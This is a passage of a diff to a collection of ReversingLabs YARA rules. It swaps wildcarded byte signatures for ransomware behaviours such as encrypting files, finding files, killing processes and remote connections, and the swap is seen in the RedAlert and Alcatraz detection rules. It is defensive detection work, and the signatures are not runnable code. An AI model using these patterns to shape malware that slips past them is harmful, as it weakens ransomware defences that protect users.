-            43 45 ?? 53 51 50 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? 83 7D ?? ?? 8D 4D ?? 6A ?? 51 8D 45 ?? 0F 43 45 ?? 53 50 57 FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 3B 75 ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 74
+            48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24
+            ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 44 24 ?? E8 ?? ?? ?? ?? 90 85 C0 0F 85 ?? ?? ?? ??
+            48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ??
+            BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ??
+            ?? 48 85 DB 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ??
+            ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 85 C9 0F 85 ?? ?? ?? ??
+            48 89 5C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 51 ?? 48 8B 84 24 ?? ??
+            ?? ?? FF D2 48 8B 0D ?? ?? ?? ?? 83 B9 ?? ?? ?? ?? ?? 75 ?? 48 89 C2 48 C1 E0 ?? 48
+            8D 70 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 D1 48 F7 EE 48 8D 14 CA 48 8D 52 ?? 48
         }
 		$encrypt_files_p3 = {
-            8B 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 51 52 57 89 55 ?? 89 4D ?? FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 8B 9D ?? ?? ?? ?? 83 7B ?? ?? 8D 43 ?? 72 ?? 8B 00 6A ??
-            8D 4D ?? 51 FF 73 ?? 50 57 FF D6 85 C0 74 ?? 8B 4B ?? 39 4D ?? 75 ?? 8B 45 ?? 89 85
-            ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 6A ?? 8D 85 ?? ??
-            ?? ?? 89 4D ?? 50 57 C7 45 ?? ?? ?? ?? ?? FF D6 85 C0 74 ?? 83 7D ?? ?? 75 ?? B3 ??
-            EB ?? 32 DB 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49
-            ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1
-            81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ??
-            ?? ?? ?? 83 C4 ?? 8A C3 EB ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D
-            ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+            C1 FA ?? 48 C1 FE ?? 48 29 F2 EB ?? 48 8D 70 ?? 48 89 C1 48 B8 ?? ?? ?? ?? ?? ?? ??
+            ?? 48 F7 EE 48 8D 14 0A 48 8D 52 ?? 48 D1 FA 48 C1 FE ?? 48 29 F2 48 C1 E2 ?? 48 8D
+            4A ?? 48 89 4C 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 CB E8 ?? ?? ?? ?? 48 89 C3 48 8B 4C
+            24 ?? 48 89 CF 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89
+            8C 24 ?? ?? ?? ?? 48 85 DB 0F 85 ?? ?? ?? ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4C
+            24 ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 D9 48 89 C3 48 8B 84
+            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85
+            DB 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 31 FF 48 8B 74
+            24 ?? 4C 8B 84 24 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 85 DB 0F
+            85 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 C3 48 8D 0D ?? ?? ?? ?? 48 8B BC 24 ??
+            ?? ?? ?? 31 F6 45 31 C0 4D 89 C1 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ??
+            ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24
+            ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ??
+            ?? 31 DB 31 C9 E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85
+            DB 74 ?? 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC
+            24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 94 24 ?? ?? ?? ?? 48 8B 72 ?? 48 8B 42
+            ?? 48 8B 56 ?? 31 DB 31 C9 48 89 CF FF D2 48 8B 15 ?? ?? ?? ?? 48 89 CF 48 89 D9 48
         }
-		$remote_connection_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 C9 8B 75 ?? 89 85 ??
-            ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? 66 89 8D ?? ?? ?? ?? 89 4D ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 66 39 4E ?? 0F 86 ?? ??
-            ?? ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 39 4E ?? 0F 84 ?? ?? ?? ?? 8B 06 8D 8D ?? ?? ?? ??
-            8B 7E ?? BA ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 72 ?? 8B 00 6A
-            ?? 6A ?? 57 FF B5 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F8 89 BD ??
-            ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ??
-            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66
-            89 85 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7E ?? ?? 8D 46 ?? 0F B7 4E ?? 72 ?? 8B
+		$encrypt_files_p4 = {
+            89 C3 48 89 D0 E8 ?? ?? ?? ?? 48 89 D9 48 89 C3 48 8B 84 24 ?? ?? ?? ?? 0F 1F 40 ??
+            E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48
+            8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ??
+            ?? ?? C3 90 0F 1F 40 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ??
+            ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ??
+            ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90
+            E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ??
+            ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ??
+            ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84
+            24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ??
+            C3 90 66 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC
+            24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48
+            8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ??
+            ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4
+            ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48
+            8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ??
+            ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 66 90
+            E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ??
+            ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 89 7C 24
+            ?? E8
         }
-		$remote_connection_p2 = {
-            00 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 51 50 57 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7E ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B D0 83 7A ?? ?? 72 ?? 8B 12 83 7E ?? ?? 8D 4E ?? 72 ?? 8B 09 83 7E ?? ?? 8D 46 ??
-            72 ?? 8B 00 6A ?? 57 6A ?? 6A ?? 52 51 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 95
-            ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ??
-            ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
-            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 46 ?? 85 C0
-            75 ?? 50 50 50 50 57 FF 15 ?? ?? ?? ?? EB ?? 83 C6 ?? 83 7E ?? ?? 72 ?? 8B 36 50 56
-            6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84
+		$find_files_p1 = {
+            4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC
+            24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ??
+            ?? 48 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 DB 7E ?? 48 89 5C 24 ?? 31 C9 EB ??
+            48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 9C 24 ?? ?? ?? ?? 48 8D 43 ??
+            48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 10 48 89 54 24 ?? 48 8B 58 ?? 48 89 5C
+            24 ?? 48 8B 72 ?? 48 89 D8 FF D6 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48
+            8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 49 89 C0 49 89 D9 31 C0 48
+            8B 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 8B 4C 24 ?? 48
+            8B 51 ?? 48 8B 44 24 ?? FF D2 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D
+            4B ?? 66 90 E9 ?? ?? ?? ?? 48 29 CB 48 89 DA 48 F7 DB 48 C1 FB ?? 48 21 D9 48 01 C1
+            48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? EB ?? 31 D2 31 C9 48 89 C8 48 89 D3
+            E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ??
+            48 8B 3D ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 66 90 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8D BC
+            24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 48 89 6C 24 ?? 48 8D 6C
         }
-		$enum_resources_p1 = {
-            33 D2 89 7D ?? 89 7D ?? 89 75 ?? 89 45 ?? 89 45 ?? 89 4D ?? 89 55 ?? 89 55 ?? 39 56
-            ?? 0F 84 ?? ?? ?? ?? 89 55 ?? 89 55 ?? 89 55 ?? 89 55 ?? 83 7E ?? ?? 8B C6 72 ?? 8B
-            06 8D 4D ?? 51 8D 4D ?? 51 8D 4D ?? 51 6A ?? 8D 4D ?? 51 6A ?? 50 FF 15 ?? ?? ?? ??
-            89 45 ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8B 45 ?? 89 45 ??
-            C7 45 ?? ?? ?? ?? ?? 0F 82
+		$find_files_p2 = {
+            24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48 8D 84 24 ?? ?? ?? ?? 31 C9 0F 1F 00 E9 ?? ?? ??
+            ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 44 24 ?? FF D1 84 C0 74 ?? 48 8B 44 24 ?? 48 8B
+            5C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 8B 54 24
+            ?? 0F 1F 00 48 39 CA 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 FF C9 48 85 C9 0F 8C ?? ??
+            ?? ?? 0F B6 14 08 66 90 80 FA ?? 0F 84 ?? ?? ?? ?? 80 FA ?? 0F 84 ?? ?? ?? ?? 80 FA
+            ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 42 ?? 48 89 4C 24 ?? 48 89 84
+            24 ?? ?? ?? ?? 48 8B 10 48 89 54 24 ?? 48 8B 70 ?? 48 89 74 24 ?? 48 8B 5C 24 ?? 48
+            8B 44 24 ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B 44
+            24 ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ??
+            48 89 DF 48 89 D3 48 89 C2 48 89 C8 48 89 D1 E8 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ??
+            48 85 C0 0F 8D ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 83 F9 ?? 0F 8C ?? ?? ?? ?? 48
+            8B 4C 24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 84
+            24 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 44 24 ??
+            48 89 5C 24 ?? 48 89 4C 24 ?? 66 90 E8
         }
-		$enum_resources_p2 = {
-            8D 4D ?? D1 F8 50 52 E8 ?? ?? ?? ?? 8B 7D ?? 8D 4D ?? 8B 75 ?? 83 FF ?? 8B 55 ?? 6A
-            ?? 68 ?? ?? ?? ?? 0F 43 CE 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ??
-            8B 7D ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 33 C0 8B 75 ?? 66 89 85 ?? ?? ?? ?? 83 CE ??
-            8B 47 ?? 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89
-            75 ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ??
-            ?? 8B C7 72 ?? 8B 07 FF 77 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8
+		$kill_procs_p1 = {
+            4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC
+            24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48
+            89 5C 24 ?? 31 C9 66 90 EB ?? 48 8B 54 24 ?? 48 8D 4A ?? 48 8B 84 24 ?? ?? ?? ?? 48
+            8B 5C 24 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 39 CB 0F 8E ?? ?? ?? ?? 48 89 4C 24 ?? 48 C1
+            E1 ?? 48 8B 1C 08 48 89 5C 24 ?? 48 8B 4C 08 ?? 48 89 4C 24 ?? 48 8B 73 ?? 48 89 C8
+            FF D6 48 89 1D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 89 05 ?? ?? ?? ?? EB ?? 48
+            8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 44 24 ?? FF D1 48
+            89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8B
+            3D ?? ?? ?? ?? 48 89 C3 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48
+            89 08 48 8D BC 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 48 A5 48 8D BC
+            24 ?? ?? ?? ?? 48 8D 7F ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ??
+            48 8D 05 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            EB ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8D 84 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 48 85 C9 0F 84 ?? ?? ??
+            ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 12 48 89 54 24 ?? 48 8B 01 48 89 44 24 ?? 48 8B 59
+            ?? 48 89 5C 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 31 F6 EB ?? 48 8B 94 24 ?? ?? ?? ?? 48 83
         }
-		$enum_resources_p3 = {
-            53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ??
-            ?? 64 A1 ?? ?? ?? ?? 50 53 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 50 8D 45 ??
-            64 A3 ?? ?? ?? ?? 8B 43 ?? 8D 4D ?? 89 45 ?? 89 45 ?? 66 8B 43 ?? 6A ?? 68 ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ??
-            8D 4D ?? 8D 45 ?? 0F 43 45 ?? 51 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 8D 45 ??
-            8B 75 ?? 8D 4D ?? 8B 55 ?? 83 FF ?? 0F 43 45 ?? 0F 43 CA 8D 04 70 89 45 ?? 8D 45 ??
-            0F 43 45 ?? 8D 04 70 3B C8 74 ?? 66 83 39 ?? 74 ?? 83 C1 ?? 3B C8 75 ?? 3B C8 74 ??
-            8D 51 ?? 3B D0 74
+		$kill_procs_p2 = {
+            C2 ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 89 CE 48 89 D1 48 89 74 24 ?? 48 89 8C 24 ??
+            ?? ?? ?? 48 8B 11 48 89 54 24 ?? 48 8B 79 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C
+            24 ?? 48 8B 7C 24 ?? 90 E8 ?? ?? ?? ?? 48 85 C0 0F 8C ?? ?? ?? ?? 48 8B 44 24 ?? BB
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 DE 31 C0 48 8D 1D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 44 0F 11 39 48 8D 94 24 ?? ?? ?? ?? 44 0F
+            11 3A 48 8D 15 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ??
+            ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ??
+            ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 89 44 24 ?? 44 0F 11 BC 24 ?? ?? ?? ??
+            48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 1D ?? ??
+            ?? ?? BF ?? ?? ?? ?? 48 89 FE 48 8D 05 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 48 8B 44 24 ?? 90 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 83 F9 ?? 0F 8C ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($enum_resources_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		uint16(0)==0x5A4D and ( all of ($kill_procs_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Linux_Ransomware_Redalert : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Alcatraz : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects RedAlert ransomware."
+		description = "Yara rule that detects Alcatraz ransomware."
 		author = "ReversingLabs"
-		id = "ec7567bf-2c39-529f-ae93-74270a161827"
-		date = "2022-09-01"
-		modified = "2022-09-01"
+		id = "7ff37483-ae63-5c82-a355-81ef68e2f663"
+		date = "2020-07-28"
+		modified = "2020-07-28"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Linux.Ransomware.RedAlert.yara#L1-L146"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "fe0d10c2ef1dacdb5374f319e470274b91f4f171db49de8c89e8aaa9aa75a45c"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Alcatraz.yara#L1-L91"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ddd35c8da0c08bce17cacfba8bb8a8b8a8c08c3e59261a88a79c63b03d29000f"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -33740,133 +35353,192 @@ rule REVERSINGLABS_Linux_Ransomware_Redalert : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "RedAlert"
+		tc_detection_name = "Alcatraz"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            41 57 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 74 24 ?? BE ?? ?? ?? ?? 48
-            89 54 24 ?? 48 89 4C 24 ?? 4C 89 44 24 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 C5 75 ?? BF
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 89 C3 75 ?? BF ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 48 8D 54 24 ??
-            89 C6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C0 75 ?? BF ?? ?? ?? ?? EB ?? 4C 8B B4 24 ??
-            ?? ?? ?? 4D 85 F6 7F ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? EB ?? 49
-            81 FE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 97 44 24 ?? 49 81 FE ?? ?? ?? ?? 0F 97
-            44 24 ?? 80 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 4C 89 F0 C7 44 24 ?? ?? ?? ?? ?? 48 89
-            D3 31 D2 48 F7 F3 48 6B C8 ?? 48 89 4C 24 ?? 49 81 FE ?? ?? ?? ?? 77 ?? 4D 89 F4 41
-            BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 41 BC ?? ?? ?? ?? 45 31 ED C7 44 24 ??
-            ?? ?? ?? ?? 4D 63 FD C7 44 24 ?? ?? ?? ?? ?? 4C 0F AF 7C 24 ?? E9 ?? ?? ?? ?? 80 7C
-            24 ?? ?? 74 ?? 45 85 ED 74 ?? 80 7C 24 ?? ?? 74 ?? 41 8D 45 ?? 3B 44 24 ?? 4C 89 FE
-            75 ?? 49 8D B6 ?? ?? ?? ?? EB ?? 31 F6 31 D2 48 89 EF E8 ?? ?? ?? ?? 48 63 7C 24 ??
-            48 89 E9 4C 89 E2 48 03 7C 24 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 39 E0 74 ?? BF ??
-            ?? ?? ?? EB ?? 44 01 64 24 ?? 41 FF C5 44 3B 6C 24 ?? 0F 85 ?? ?? ?? ?? 48 8D 9C 24
-            ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 84 C0 74 ?? BF ??
